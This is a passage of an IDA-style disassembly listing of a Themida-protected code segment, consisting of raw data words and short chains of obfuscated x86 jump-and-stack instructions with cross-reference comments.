5Ch, 89h, 4 dd 8EB4E924h, 433FFFFh, 24043124h, 5C240433h, 0FF5343E9h dd 7FF281FFh, 2939EC53h, 34FF5AD3h, 24348B24h, 8104C483h dd 4C4h, 241C3300h, 33241C31h, 248B241Ch, 0A2E95024h, 89FFFF0Fh dd 0C6295BD8h, 24343358h, 33243431h, 665C2434h, 0E9240C89h dd 0FFFF240Eh, 6FE7F681h, 0F3014253h, 0E9DF295Eh, 0FFFF787Ch dd 4BF57h, 0FA010000h, 74FF525Fh, 8F5A0424h, 0E95C2404h dd 0FFFFBDA8h, 343CE956h, 0C681FFFFh, 4, 8704C683h, 0E95C2434h dd 0FFFFDF58h, 31242C33h, 2C33242Ch, 4295C24h, 59E99C24h dd 29FFFED1h, 6B2BE9EBh, 0EBC1FFFFh, 81E3D107h, 3B3C6AEBh dd 31D82DDBh, 0C3053F3Fh, 11E407Ch, 12EE9D8h, 0FF540000h dd 835E2434h, 0A56804C4h, 89000019h, 0BD55240Ch, 4, 8CE9E989h dd 30FFFED3h, 0E406E9EFh, 0FAB8FFFEh, 0E91E635Eh, 567h dd 0AB11C30Dh, 1036053Eh, 3BE953BEh, 83FFFF94h, 0B7E904C4h dd 53000006h, 0C381E389h, 4, 4C381h, 53E90000h, 0ACFFFFA3h dd 9B8DE952h, 0E389FFFFh, 4C381h, 0EB810000h, 4, 8B241C87h dd 14892424h, 148B5424h, 4C48324h, 4C281h, 0C2810000h dd 4, 0FFBB2EE9h, 96C281FFh, 815CF242h, 9F78A1EAh, 0BCC28171h dd 5D4BE83Eh, 3E5F68h, 1DAEE900h, 0EB810000h, 1E175464h dd 0C381EB29h, 1E175464h, 43ED815Dh, 1713300h, 43C581DDh dd 5B713300h, 1CB6CD81h, 0AEE943BFh, 1FFFF4Eh, 0F72EE9D6h dd 8959FFFFh, 826858C3h, 0E9000018h, 0FFFF6D48h, 8B240433h dd 65682424h, 0E9000023h, 0FFFF0A73h, 243C8B59h, 0FF5C22E9h db 0FFh ; --------------------------------------------------------------------------- loc_5633ED: ; CODE XREF: Themida_:005558AAj pop eax push ebp sub dword ptr [esp], 55340451h jmp loc_55EB98 ; --------------------------------------------------------------------------- db 57h dd 4DBCE954h, 0E688FFFFh, 8124048Bh, 4C4h, 0C20400h, 0E9C22CF0h dd 0FFFF84BAh, 7CC3BD55h, 0E8291E40h, 174AE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563426: ; CODE XREF: Themida_:00551ACBj add ebx, 4DE37C48h push ebp jmp loc_55F6A5 ; --------------------------------------------------------------------------- dw 3C89h dd 2474FF24h, 2434FF04h, 216E95Fh, 2C81FFFFh, 0DE573224h dd 32055808h, 0FF08DE57h, 50592434h, 70DC68h, 24248900h dd 4240483h, 0FF26C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_563465: ; CODE XREF: Themida_:0055968Aj mov ebx, 0EF951ED5h sub eax, ebx mov ebx, [esp] add esp, 4 jmp loc_55A27D ; --------------------------------------------------------------------------- loc_56347A: ; CODE XREF: Themida_:00564ACAj mov ecx, 277F417Bh sub ecx, esi pop esi and edi, ecx pop ecx jmp loc_553E00 ; --------------------------------------------------------------------------- dw 0D901h dd 6E9C15Bh, 55565041h, 175532BDh, 4AC58173h, 898D6D4Bh dd 10E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5634A6: ; CODE XREF: Themida_:005541ECj sub ecx, esi pop esi jmp loc_560065 ; --------------------------------------------------------------------------- aHxo db ']hxO',0 align 4 dd 0B8240489h, 19025CB0h, 0FEED5AE9h, 0C83158FFh, 5671E959h dd 1E68FFFFh, 89000040h, 0E954243Ch, 0FFFF1099h, 0E92434FFh dd 0FFFFC51Ch, 30CBEA81h, 4EE944A6h, 5FFFFCEh, 150A1E4Fh dd 0FF4277E9h, 2323BDFFh, 8145384Fh, 2078CCC5h, 5BB8504Ah dd 0E915D85Fh, 397h, 0E7E92EB1h, 28FFFF8Bh, 4802414h, 0B3E98B24h db 3Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56351F: ; CODE XREF: Themida_:00560334j neg ebp sub ebp, 3DD72A68h shr ebp, 8 shl ebp, 3 inc ebp xor ebp, 4A1DCB5h mov eax, ebp pop ebp add esi, eax mov eax, [esp] add esp, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] sub eax, 1BF4109Ch pop edx push esi push esp pop esi push edx mov edx, 64A53112h not edx dec edx add edx, 64A53118h add esi, edx pop edx sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 6EB07437h jmp loc_560EE7 ; --------------------------------------------------------------------------- dw 0E801h dd 0FF5745E9h, 4EF81FFh, 0E9000000h, 0FFFF4775h, 5C243487h dd 0E91C5721h, 0FFFFE3A6h ; --------------------------------------------------------------------------- loc_563598: ; CODE XREF: Themida_:0055AAA4j mov ebx, 15A61FCBh not ebx add ebx, 1EE37AD0h sub ebx, 1 jmp loc_557D7E ; --------------------------------------------------------------------------- db 50h, 0B0h, 50h dd 0C04E0C0h, 2C85346Eh, 30C13495h, 0CB2858C1h, 0FF9526E9h dd 89C289FFh, 48B5AD3h, 4C48324h, 6C4CC381h, 0BD5520A9h dd 41BE560Eh, 0EDC1DDF7h, 1ED8102h, 81000000h, 711D65E5h dd 0A57DE919h, 148BFFFFh, 4C48324h, 0FF25EEE9h, 17BB53FFh dd 81F0E033h, 0C92F8FC5h, 9A48E921h, 0F929FFFFh, 53D9015Fh dd 0C96D67BBh, 5BD90106h, 0E389535Bh, 0FEF511E9h, 240487FFh dd 8BF3215Ch, 0C4832434h, 0C1E95104h, 0B3FFFFBCh, 0E95266EAh dd 0FFFFF6BDh, 2414875Dh, 243C895Ch, 0C7815F54h, 4, 4EC8150h dd 89000000h, 0F9E9243Ch, 0F6FFFFA7h, 6F42E9DEh, 0C89FFFFh dd 46824h, 0C8B0000h, 4C48124h, 81000000h, 3D7FF2C6h, 0E9CE0123h dd 0FFFFDF3Bh, 8ED8158h, 5201B33Ah, 6C2B54BAh, 0EFE94243h dd 6600001Eh, 56241C89h, 0DDE95E54h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636A3: ; CODE XREF: Themida_:005565ECj xor [esp], esi xor esi, [esp] jmp loc_56540C ; --------------------------------------------------------------------------- dw 47BBh dd 816A005Ch, 0AE6E3BC3h, 0A1E9436Bh db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636BF: ; CODE XREF: Themida_:00557ECEj push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 jmp loc_5652C9 ; --------------------------------------------------------------------------- dd 8CE95251h, 0E9FFFF66h, 0FFFECD40h, 0E9242C89h, 0FFFF1797h ; --------------------------------------------------------------------------- loc_5636E8: ; CODE XREF: Themida_:0055062Cj push edx jmp loc_55D1E7 ; --------------------------------------------------------------------------- dw 0F829h dd 4FC1055Fh, 102D6AF9h, 2934C139h, 391005E8h, 0E95134C1h dd 0FFFF416Fh, 1806E981h, 0E981626Ah, 2E822F44h, 159CA29h dd 48BAE9F2h, 0C481FFFFh, 4, 5759C801h, 970E1BFh, 8BF8296Dh dd 0C481243Ch, 4, 5352D829h, 6B2E09BBh, 0B951430Ch, 209D2780h dd 4D7EE981h, 0E9813769h, 7FBE55C5h, 4439C981h, 0E6E9484Ch dd 8900001Ah, 0CDBB241Ch, 93CDF40h, 0C2815BDAh, 0C100BD07h dd 535AD701h, 0D26603BBh, 81DBF70Dh, 2D7F2CCBh, 5EBC14Ch dd 6FFBF381h, 0A0E907F1h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56378F: ; CODE XREF: Themida_:00564575j push ecx push eax mov eax, 336F6069h dec eax jmp loc_551838 ; --------------------------------------------------------------------------- dd 9544D1BEh, 0D262E969h, 248BFFFEh, 4BA5224h, 1000000h dd 8BE95AD1h, 5FFFEE0h, 562B2A64h, 2291BB53h, 8C050D08h dd 2956B56Ah, 6A8C2DD8h, 1C8B56B5h, 4C48124h, 29000000h dd 4EC83D0h, 0BD242C89h, 4344275Fh, 0E85FE950h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5637EA: ; CODE XREF: Themida_:00565A4Bj add esp, 4 push ecx mov ecx, 4 add ebp, ecx jmp loc_5569FE ; --------------------------------------------------------------------------- dw 1268h dd 54000027h, 0E924048Fh, 0FFFF2417h, 4C50F681h, 6AE96813h dd 81FFFF0Fh, 622246E1h, 6F7BE966h, 3C87FFFFh, 3C895C24h dd 477FBF24h, 0EF816CC5h, 71974909h, 0FFF368E9h, 240489FFh dd 31243C87h, 31F931CFh, 31D1F7CFh, 0E9F931CFh, 0FFFF495Ch dd 240C8B66h, 47B668h, 24148900h, 0FEE54FE9h, 0C2815DFFh dd 1E2EF527h, 0E8AE9h, 0E94E5E00h, 0FFFEF443h ; --------------------------------------------------------------------------- loc_563870: ; CODE XREF: Themida_:00556A1Aj mov [esp], ebp sub esp, 4 mov [esp], eax push ebx jmp loc_554CFD ; --------------------------------------------------------------------------- aXhmo db '!ÂXhŹO',0 dw 0E900h dd 1EB2h, 104C483h, 83EA81FAh, 5F0DDC16h, 31241433h, 21E92414h dd 9FFFF4Fh, 24048BC5h, 4C481h, 0ED810000h, 97FFDFFCh dd 0FF1A08E9h db 0FFh ; --------------------------------------------------------------------------- loc_5638B9: ; CODE XREF: Themida_:00558D8Cj pop ebp jmp loc_561B42 ; --------------------------------------------------------------------------- db 53h dd 5272BE56h, 0F389165Bh, 45CB815Eh, 0E949CE2Fh, 130Dh dd 5C243487h, 89240C89h, 431368E1h, 34890000h, 7A73E924h dd 53B9FFFFh, 81639767h, 252903F1h, 8E9C144h, 0FFC868E9h dd 0A1C381FFh, 51C28B2Eh, 0E952D989h, 0FFFFB008h, 5624148Bh dd 0C681E689h, 4, 4B951h, 0CE010000h, 81240C8Bh, 4C4h dd 24348700h, 0C0B60F5Ch, 6887048Dh, 0EF8h, 83243489h dd 0CEE904ECh db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_563943: ; CODE XREF: Themida_:0056540Dj ror word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- db 81h, 0E6h, 6Fh dd 8135D554h, 426B91F6h, 0D3BD5525h, 8105A163h, 0E11A8EEDh dd 70CD8147h, 8137E07Ch, 0CA320CF5h, 4E5C147h, 18C2C581h dd 0EE31CCF3h, 9EC6815Dh, 0E9E7F6D2h, 0FFFF67FDh, 0E9240C89h dd 0FFFF46E3h, 5D2434FFh, 4C481h, 78680000h, 89000016h dd 2EE9241Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5639A7: ; CODE XREF: Themida_:00560365j sub ebp, 2817398Ah pop ebx jmp loc_551940 ; --------------------------------------------------------------------------- loc_5639B3: ; CODE XREF: Themida_:005607CAj mov ecx, 65C0092Bh xor ecx, 43857F06h sub ecx, 46C8362Eh xor edx, ecx pop ecx and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_5522F7 ; --------------------------------------------------------------------------- dw 0F181h dd 71E7ADE9h, 0C8BC831h, 4C48324h, 24BD5551h, 89636275h dd 0BE565DE9h, 58353DB8h, 3C25E681h, 0D6F70624h, 0FF8413E9h dd 28CA81FFh, 81236075h, 0FFFF79EAh, 77C1057Fh, 0D0012643h dd 4377C12Dh, 24148B26h, 4C481h, 0BF570000h, 4, 81E28952h dd 4C2h, 2DA1E900h, 248BFFFFh, 0A4CEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A4E: ; CODE XREF: Themida_:0055567Dj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push eax mov al, 0A9h sub al, 31h mov bl, al pop eax sub bl, 1 push edx mov dl, 73h xor dl, 0FBh jmp loc_561E9F ; --------------------------------------------------------------------------- dw 2DADh dd 4DC53A61h, 0FFAD6BE9h, 241C89FFh, 3AB1B951h, 0E9C138D3h dd 57D9F705h, 0DF0D3EBFh, 6EFC112h, 0FFC2EDE9h, 243C89FFh dd 0C51D0DBFh, 0E950472Ch, 0FFFFC69Dh, 4C781h, 0C4E90000h dd 29FFFFE1h, 263AE9C8h, 0B966FFFFh, 66524A8Ah, 0E92FFABAh dd 0FFFFC45Bh, 582434FFh, 4C481h, 80E90000h, 81FFFF81h dd 0C4871C7h, 2C835769h, 3C8BFF24h, 4C48124h, 51000000h dd 0A0226BB9h, 20F18160h, 816E3B33h, 110687E1h, 90F18119h dd 0E9AC0922h, 0FFFF6793h, 241C8B66h, 81E78957h, 4C7h dd 2BE5600h, 0E9000000h, 0FFFF65DDh, 6B79B951h, 0CFE971D8h dd 0BD00000Fh, 24FD400Dh, 8D4AD605h, 2E6EE97Fh, 0C481FFFFh dd 4, 4EC8151h, 89000000h, 2B82404h, 89000000h, 1538E9C1h dd 3C330000h, 24248B24h, 9C2404D2h, 0FF2CC9E9h, 240C89FFh dd 0E9530FB5h, 0FFFFFAC3h, 4A2DD801h, 8B139746h, 0BBE9241Ch dd 87FFFFFFh, 5A5C2404h, 51CF52Dh, 5D8015Eh, 5E051CF5h dd 2BA525Bh, 0E9000000h, 0FFFF5958h ; --------------------------------------------------------------------------- loc_563BA0: ; CODE XREF: Themida_:00556CEAj mov ebx, [esp] jmp loc_556554 ; --------------------------------------------------------------------------- loc_563BA8: ; CODE XREF: Themida_:00557A22j add esp, 4 add ebx, 4 xchg ebx, [esp] pop esp or edx, eax shl edx, 1 push ebp mov ebp, 1 push eax mov eax, 24h add eax, edi push ebx mov ebx, 0 add ebx, eax add [ebx], ebp pop ebx mov eax, [esp] push esi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop esi push edx push 4 jmp loc_5578CD ; --------------------------------------------------------------------------- loc_563BF3: ; CODE XREF: Themida_:00552D3Dj mov edx, 2ED0049Dh jmp loc_553A2B ; --------------------------------------------------------------------------- db 80h, 0C6h, 8 dd 805AF120h, 0C8289DC1h, 0E9392C59h, 0FFFF5825h ; --------------------------------------------------------------------------- loc_563C10: ; CODE XREF: Themida_:00555F3Cj sub bl, al push 2A2Fh jmp loc_554CE0 ; --------------------------------------------------------------------------- dd 4C681h, 0C6830000h, 24348704h, 5FE2E95Ch, 0EDE9FFFFh dd 0BAFFFEC7h, 129221C3h, 2414F752h, 0FFABA5E9h, 24248BFFh dd 0FF2434FFh, 81592434h, 4C4h, 2F6EE900h, 1C33FFFFh, 24248B24h dd 243CD366h, 0C7BAE99Ch, 0CBBEFFFEh, 0E9289F1Fh, 0FFFF0AE9h dd 43D468h, 24148900h, 4BAh, 4EC8300h, 0FF4869E9h, 241C89FFh dd 0FFA342E9h, 2C083FFh, 0FF61D6E9h, 219A68FFh, 34890000h dd 0D5A3E924h, 0E959FFFFh, 3F6h, 0E9241C89h, 0FFFFB300h dd 570AD1B8h, 51550571h, 0BE560BCBh, 6A0060C9h, 0E903E6C1h dd 0FFFF845Fh, 0B9B8504Fh, 1588458h, 685158C7h, 1ED82B4Dh dd 81240C8Bh, 4C4h, 8BCF2900h, 54E9240Ch, 89FFFF0Ch, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 4C4815Ch, 81000000h, 4C2h dd 24143300h, 33241431h, 0FF5C2414h, 48B2434h, 4C48124h dd 57000000h, 0FF8836E9h, 0B2E950FFh, 58FFFED5h, 350F681h dd 77096480h, 2434FF1Ch, 0F098E95Eh, 0C381FFFEh, 4, 0FFA85DE9h dd 5E5256FFh, 18C2E9h, 24248B00h, 0B8240489h, 7ED648C5h dd 5608E8C1h, 0FFFA37E9h, 57535EFFh, 1763D2BFh, 0EF814729h dd 6CD42180h, 5BFDEF81h, 0F78103ECh, 56F00F02h, 7624EF81h dd 0FB89E679h, 5BD8315Fh, 34FFC601h, 89515824h, 0EAA2E9E1h dd 0BDB2FFFEh, 0E902EC83h, 0FFFF94ACh, 290B68h, 24348900h dd 5E2414F7h, 0E6C1DEF7h, 0F0EAE903h, 34FFFFFFh, 24048B24h dd 5604C483h, 25DD68h, 1E30E900h, 215EFFFFh, 2434FFCEh dd 2028E959h, 0EB29FFFFh, 0F6A8E95Dh, 248BFFFFh, 1031E924h dd 3C8B0000h, 4C48124h, 81000000h, 446135E3h, 0E8B9513Ch dd 812F940Ah, 57061AE9h, 0F1814921h, 0D3549BD0h, 2959CB31h dd 0D0FFE9DAh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563E16: ; CODE XREF: Themida_:00557C3Dj pop ecx pop esi and eax, ebx mov ebx, [esp] jmp loc_552978 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0C5F2E9C3h, 34FFFFFEh, 0C4815F24h, 4, 7FAB68h, 24148900h dd 0FFA58DE9h, 2474FFFFh, 16CAE904h, 0EC810000h, 4, 0BA241489h dd 24C51792h, 17F9BD55h, 0EDC1007Ah, 0E9EDD102h, 0FFFF7200h dd 0E93C7805h, 52E80100h, 0FEC5D2E9h, 2FBE56FFh, 29718917h dd 1D28E9F0h, 8B66FFFFh, 0BCE9241Ch, 0BDFFFF5Ah, 61EF7228h dd 0E70BC581h, 0EA29D058h, 4EEA815Dh, 0E9CFB8A5h, 0FFFF3BAFh dd 0E95BD829h, 0FFFF29E3h, 1CE2815Ah, 5015932Ah, 903D89B8h dd 8BC2297Ch, 0C4812404h, 4, 72C2814Ah, 16C7D35h, 92F9E9D7h dd 8159FFFFh, 8F7E29C3h, 7DE2E937h, 0D601FFFFh, 10E1055Ah dd 53E90192h, 5FFFF72h, 631536ECh, 0FF56A5E9h, 0E8C15AFFh dd 35D0F702h, 92B2853Ch, 0E958C201h, 0FFFF2867h ; --------------------------------------------------------------------------- loc_563F0C: ; CODE XREF: Themida_:00563214j pop ebp push ebx mov ebx, 4 sub edi, ebx pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], edi push ebp mov ebp, 6CF059D9h push ebp pop edi jmp loc_5560CA ; --------------------------------------------------------------------------- dd 0D735E0D1h, 1E87D80h, 24048BC2h, 0FF3348E9h, 2474FFFFh dd 241C8B04h, 8F04C483h, 248B2404h, 241C8924h, 58545058h dd 405h, 70A26800h, 34890000h, 0B0FBE924h, 0EC81FFFFh dd 4, 0BF243C89h, 3843F3Bh, 3094E781h, 0F78173ABh, 9F1405Dh dd 5A5FF801h, 5E08950h, 4, 42Dh, 24048700h, 0D1B7E95Ch dd 0EB81FFFFh, 0AC648ED2h, 1C8BD801h, 9E27E924h, 0EE89FFFFh dd 83242C8Bh, 0EE8104C4h, 5E113244h, 14EAE9h db 0 ; --------------------------------------------------------------------------- loc_563FC1: ; CODE XREF: Themida_:0055CBABj add esp, 4 jmp loc_551B9D ; --------------------------------------------------------------------------- dd 77F08AB9h, 7AD7057Dh, 0E95166DFh, 0FFFF2639h, 0D44E956h dd 0EE81FFFFh, 0E681E8Dh, 8107E6C1h, 5A856EEEh, 3EF305B9h dd 0F00145D2h, 0FEFFFAE9h, 0F8015BFFh, 8B2434FFh, 0C483243Ch dd 4C48104h, 83000000h, 1C8904ECh, 0C6BD5524h, 6858B92Fh dd 0B39A9945h, 5DEB295Bh, 4EC81h, 3C890000h, 123E924h dd 5452FFFFh, 4BD555Ah, 81000000h, 943DA8C2h, 7EA8156h dd 1196810h, 7C281EAh, 81196810h, 943DA8EAh, 0EA835D56h dd 24143304h, 0E9241431h, 0FFFFA06Dh ; --------------------------------------------------------------------------- loc_564064: ; CODE XREF: Themida_:0055C062j add edi, 647A53E3h jmp loc_561EFE ; --------------------------------------------------------------------------- db 8Bh dd 53512424h, 17E9D388h, 0BDFFFF2Fh, 947BC396h, 0D9E9E929h dd 0F7FFFF3Ah, 0CCF281DAh, 4A03CB50h, 0C2CAF281h, 0D0298BFDh dd 3818E95Ah, 0BB53FFFFh, 4, 875BD801h, 248B2404h, 2434FF24h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx jmp loc_555726 ; --------------------------------------------------------------------------- loc_5640C3: ; CODE XREF: Themida_:00553FF2j add edi, 0EB9B0EE8h mov ebx, edi push dword ptr [esp] pop edi add esp, 4 sub eax, ebx jmp loc_560807 ; --------------------------------------------------------------------------- db 29h, 0D7h, 8Bh dd 4AE92414h, 83FFFF33h, 3C8704EFh, 24248B24h, 56240489h dd 0B3589BBEh, 1CF6815Ah, 0E92C9B4Bh, 0FFFFEF15h, 40CD815Bh dd 0E929BF0Ah, 0FFFF50E2h ; --------------------------------------------------------------------------- loc_56410C: ; CODE XREF: Themida_:005505D6j add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, 1D800B2Dh add ebp, 38330185h inc ebp jmp loc_560E39 ; --------------------------------------------------------------------------- aHsr db '^hsr',0 dw 8900h dd 0BF57242Ch, 624B19D7h, 3694F781h, 0EF8136F6h, 329DBF34h dd 0BE9FD89h db 0CDh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56414F: ; CODE XREF: Themida_:00564CD1j mov edx, [esp] push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jmp loc_561A1E ; --------------------------------------------------------------------------- dd 83241C8Bh, 0E2E904C4h, 8FFFFED8h, 815C2404h, 10042444h dd 0E972712Eh, 0FFFEE6B9h, 0FB2AE95Fh, 0E952FFFFh, 0FFFF0CC3h ; --------------------------------------------------------------------------- loc_5641A4: ; CODE XREF: Themida_:00553BCBj xchg esi, [esp] pop esp push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push ecx jmp loc_5531DC ; --------------------------------------------------------------------------- dw 71BAh dd 0F7705513h, 0B3C9E9D2h, 55E9FFFFh, 81FFFEC2h, 394027CDh dd 26D5E90Eh, 0C481FFFFh, 4, 8CC18141h, 216CEF56h, 0EC8359CEh dd 243C8904h, 6D16BD55h, 0EF8972A7h, 16B9E95Dh, 0E8890000h dd 5D58C689h, 41CEB951h, 0C981290Ch, 20700F21h, 0FF933EE9h dd 0E92958FFh, 0C453E95Dh, 0E389FFFEh, 4C381h, 0ECE90000h dd 8BFFFFD9h, 0C4812434h, 4, 428CEB81h, 0EB8142A7h, 46353E12h dd 0C381C301h, 46353E12h, 8209E955h, 8F5FFFFFh, 248B2404h dd 8BE6E924h, 0D801FFFFh, 9F118C05h, 0E3895373h, 4C381h dd 0EB830000h, 24F7E904h, 0E959FFFFh, 0FFFF70B5h, 81E68956h dd 4C6h, 4C68100h, 87000000h, 665C2434h, 4BB551h, 685966EBh dd 277Dh, 0B0240489h, 0E9D8F664h, 0FFFF50E2h, 0E92434FFh dd 0FFFF4594h ; --------------------------------------------------------------------------- loc_5642A8: ; CODE XREF: Themida_:00560645j push edx mov edx, 6ACD661Bh neg edx sub edx, 44675677h sub edx, 58744261h and edx, 23881B59h xor edx, 3AC74F5Bh sub eax, edx pop edx jmp loc_55F0E9 ; --------------------------------------------------------------------------- dd 5C243487h, 0E9241C89h, 0FFFEE783h, 8956D801h, 4C681E6h dd 0E9000000h, 0FFFECFB6h, 4C6815Eh, 68000000h, 0A60h dd 51242C89h, 0FF263FE9h, 2434FFFFh, 0AA37E958h, 8B66FFFFh dd 0DE92424h, 89FFFEC1h, 4812424h, 424h, 0C3815B00h, 4 dd 4C381h, 0A3E90000h, 53FFFF8Ah, 3A7743BBh, 0C1D3F73Fh dd 0F38102EBh, 4062D4h, 815BDE31h, 3C00E7CEh, 6036E97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56434E: ; CODE XREF: Themida_:0055E39Fj mov ebp, [esp] add esp, 4 sub dword ptr [esp], 75BA3676h sub esp, 4 mov [esp], esi jmp loc_550631 ; --------------------------------------------------------------------------- loc_564369: ; CODE XREF: Themida_:00551955j xor dword ptr [esp], 27F253CCh pop dword ptr [edi+20h] xor dword ptr [edi+20h], 27F253CCh pop ebp loc_56437B: ; CODE XREF: Themida_:005550F8j ; Themida_:00560D6Ej mov ebx, [esp] push edx mov edx, esp sub esp, 4 jmp loc_55535C ; --------------------------------------------------------------------------- dd 2C815359h, 446D6624h, 0AD35E95Dh, 0C87FFFFh, 15E95C24h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643A3: ; CODE XREF: Themida_:005600D3j push 611306F6h push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 jmp loc_552509 ; --------------------------------------------------------------------------- db 68h dd 1000h, 0E92434FFh, 0FFFF6CB3h, 0E78FCBDh, 51E5D17Eh dd 0FF73F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5643D1: ; CODE XREF: Themida_:0055F490j add bl, 0E0h pop edx sub bl, ch sub esp, 4 mov [esp], ecx mov cl, 0Fh sub bl, 9Fh add bl, cl push dx jmp loc_55A6E8 ; --------------------------------------------------------------------------- dw 0E6C1h dd 8B58E907h, 8159FFFFh, 0A7B213EAh, 8E2C166h, 65DE68h dd 243C8900h, 5F0A0068h, 0FA315F3Dh, 0FFC5DBE9h, 0E9C6FEFFh dd 0FFFEF38Ch, 0C0B0505Ah, 9FE9990Ch, 0BEFFFECFh, 1D3D5EBFh dd 21E9F331h, 55FFFED0h, 4BDh, 58F56800h, 3C890000h, 1C33BF24h dd 51531BE0h, 0E36372B9h, 707BBB1Ch, 0CB293A31h, 0FF8C9DE9h db 0FFh ; --------------------------------------------------------------------------- loc_564459: ; CODE XREF: Themida_:00561A27j push dword ptr [esp] jmp loc_560AD9 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 617C6853h, 435B476Ch, 0FEC96EE9h, 0B7868FFh, 1C890000h dd 16DDBB24h, 20050430h, 290AC11Eh, 1E202DD8h, 2D5B0AC1h dd 16204B27h, 0B60F665Dh, 82686600h, 2499E973h, 3B6FFFFh dd 28F2C480h, 0F2EC80F4h db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_561D07 ; --------------------------------------------------------------------------- dw 0E6B9h dd 516B444Ch, 592414F7h, 1A9768h, 240C8900h, 0F7240487h dd 240487D0h, 0FF990FE9h, 0FED2F6FFh, 8FEA80C2h, 0FFA167E9h db 0FFh ; --------------------------------------------------------------------------- loc_5644ED: ; CODE XREF: Themida_:0055752Aj sub ebx, 7A659F2h jmp loc_5594E7 ; --------------------------------------------------------------------------- dd 35B15166h, 0F5E9CE30h, 1FFFFBFh, 0EB2959CBh, 0A3EEB81h dd 6AE939D3h db 3Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564513: ; CODE XREF: Themida_:0055A7C6j mov eax, [esp] add esp, 4 mov ah, bl jmp loc_55B753 ; --------------------------------------------------------------------------- aZzS db 'Z,$é',0 dw 0FEF7h dd 2434FFFFh, 81242C8Bh, 4C4h, 354CE900h, 0E95BFFFFh, 0FFFEC234h dd 4C781h, 0C7810000h, 4, 31243C33h, 3C33243Ch, 61E95C24h dd 8F000008h, 0E95C2404h, 0FFFFF539h ; --------------------------------------------------------------------------- loc_564564: ; CODE XREF: Themida_:00565C4Ej sub ebx, 7FBE7BD3h mov eax, ebx mov ebx, [esp] add esp, 4 jmp loc_56378F ; --------------------------------------------------------------------------- loc_56457A: ; CODE XREF: Themida_:00561AE9j add esp, 4 push eax mov eax, 56D21227h and ebp, eax pop eax push eax push esi mov esi, 7B416F82h jmp loc_55E268 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 81243489h, 4ECh, 7C6DE900h, 0C801FFFFh, 83240C8Bh, 0C16804C4h dd 89000010h, 4BA2414h, 57000000h, 0A67C62BFh, 25F78164h dd 0E95B5660h, 0FFFF5A0Dh, 31FFF901h, 582434FFh, 8904EC83h dd 5D54242Ch, 4C581h, 8EE90000h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5645E7: ; CODE XREF: Themida_:00550B27j add esp, 4 add ebx, 45E63043h add ebx, esi sub ebx, 45E63043h mov esi, [esp] add esp, 4 push dword ptr [ebx] push dword ptr [esp] pop eax jmp loc_55D411 ; --------------------------------------------------------------------------- db 81h dd 7228E9E9h, 0E955501Bh, 0FFFEF98Ah ; --------------------------------------------------------------------------- loc_56461C: ; CODE XREF: Themida_:0055BF7Cj mov ecx, 44E50C8Dh add eax, ecx pop ecx mov ecx, [esp] push ebp push esp jmp loc_558B2C ; --------------------------------------------------------------------------- dw 0EF81h dd 0E0F27B7h, 1E4FC781h, 0A2E9582Ch, 8BFFFF47h, 0C4812434h dd 4, 0FEBDD3E9h, 14875FFFh, 24248B24h, 89241489h, 4C281E2h dd 53000000h, 1AD2E950h, 489FFFFh, 1608E924h, 0D0280000h dd 805A952Ch, 56E95BC3h, 89FFFF31h, 0C5815DEEh, 12096C0Dh dd 0ED81F529h, 12096C0Dh, 74FF555Eh, 8F5D0424h, 0E95C2404h dd 0FFFF6296h, 0C281D2F7h, 1860851h, 5E2AC181h, 0D1017F19h dd 0FF15F6E9h, 2F2868FFh, 1C890000h, 2434FF24h, 8324048Bh dd 4C6804C4h, 0E9000040h, 0FFFF481Eh, 0E904C283h, 0FFFFE0FAh ; --------------------------------------------------------------------------- loc_5646D4: ; CODE XREF: Themida_:0055B93Aj add esp, 4 pop dword ptr [esp] pop esp loc_5646DB: ; CODE XREF: Themida_:00557D2Bj push 2917h jmp loc_55C116 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 10h dd 29FFFF71h, 0B7E95AD3h, 9FFFF85h, 24148BD3h, 8104C483h dd 0C75907F3h, 0C3814B6Fh, 0DF66F90Ch, 0FF84CCE9h, 2ACA81FFh dd 4A070E44h, 3F2FE281h, 